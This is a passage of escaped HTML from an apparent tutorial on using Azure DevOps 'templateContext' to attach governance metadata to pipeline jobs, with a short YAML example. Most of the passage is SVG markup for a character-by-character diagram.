style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='68' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='68' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eThis rigidity creates a conflict for Platform Engineering teams. They want to provide developers with the familiarity of the standard \u003ccode\u003ejob\u003c/code\u003e schema (to use IDE autocomplete and validation), but they also need to collect extra metadata to drive automated governance, auditing, and cost tracking.\u003c/p\u003e\n\u003ch3 id=\"11-enter-templatecontext\"\u003e1.1: Enter \u003ccode\u003etemplateContext\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is a specialized \u0026ldquo;safe harbor\u0026rdquo; object within these standard schemas. The Azure DevOps validator explicitly ignores the contents of the \u003ccode\u003etemplateContext\u003c/code\u003e block, making it the perfect container for any custom data you need. It allows you to keep your metadata tightly coupled with the object it describes, rather than maintaining a separate parallel array that is difficult to keep in sync.\u003c/p\u003e\n\u003ch2 id=\"2-implementing-templatecontext-in-your-templates\"\u003e2. Implementing \u003ccode\u003etemplateContext\u003c/code\u003e in Your Templates\u003c/h2\u003e\n\u003cp\u003eTo use this feature, your template must define a parameter of a specific list type, such as \u003ccode\u003ejobList\u003c/code\u003e or \u003ccode\u003estageList\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"21-the-caller-side-passing-data\"\u003e2.1: The Caller Side (Passing Data)\u003c/h3\u003e\n\u003cp\u003eWhen a developer calls your template, they include the \u003ccode\u003etemplateContext\u003c/code\u003e property within their job or stage definitions.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003egoverned-jobs.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esecurityTier\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Critical\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eowner\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;platform-team\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enpm run build\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"22-the-receiver-side-accessing-data\"\u003e2.2: The Receiver Side (Accessing Data)\u003c/h3\u003e\n\u003cp\u003eInside your template, you iterate through the jobs using an \u003ccode\u003e${{ each }}\u003c/code\u003e loop. The metadata is accessible as a property of the loop variable.\u003c/p\u003e\n\u003ch4 id=\"the-wrapper-pattern-using-templatecontext\"\u003eThe Wrapper Pattern (Using templateContext)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 520 249\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 288,48 L 304,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,64 L 104,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,144 L 104,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,192 L 104,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='112.000000,80.000000 100.000000,74.400002 100.000000,85.599998' fill='currentColor' transform='rotate(90.000000, 104.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='112.000000,160.000000 100.000000,154.399994 100.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='112.000000,208.000000 100.000000,202.399994 100.000000,213.600006' fill='currentColor' transform='rotate(90.000000, 104.000000, 208.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='296.000000,48.000000 284.000000,42.400002 284.000000,53.599998' fill='currentColor' transform='rotate(180.000000, 288.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='100' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='132' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='132' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='100' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='100' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='228' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='100' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='228' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='228' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='228' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='100' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='100' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='228' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='52' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' 